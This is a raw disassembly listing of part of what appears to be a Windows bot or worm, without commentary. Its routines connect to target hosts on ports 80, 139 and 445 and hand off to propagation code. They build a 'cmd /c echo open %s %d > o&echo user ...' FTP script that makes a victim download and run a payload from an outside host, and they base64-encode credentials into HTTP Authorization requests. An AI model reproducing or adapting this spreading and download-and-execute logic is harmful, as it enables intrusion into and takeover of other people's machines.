var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D48
		push	[ebp+arg_0]
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D

loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E

loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]

loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------

loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1

loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx

loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi

loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax

loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D94[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B

loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi

loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]

loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0

loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx

loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D158
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------

loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax

loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]

loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------

loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1

loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx

loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F40
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACE0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DD8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------

loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi

loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAFA4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------

loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------

loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04

loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch

loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al

loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB03C
		test	esi, esi
		jnz	short loc_40D473

loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 26904AEh
		nop

loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A

loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]

loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi

loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8

loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A

loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A

loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0

loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573

loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]

loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8

loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8

loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------

loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8

loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0

loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A

loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al

loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3

loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------

loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------

loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------

loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC

loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------

loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC

loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B

loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1

loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------

loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx

loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0

loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573

loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax

loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0

loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]

loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax

loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax

loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------

loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]

loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi

loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx

loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF

loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB5C4, 1
		jnz	short loc_40D888
		or	byte_4DB5C4, 1

loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321F8
		add	eax, 6
		mov	dword_4CDCC4, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------

loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh

loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------

loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1

loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
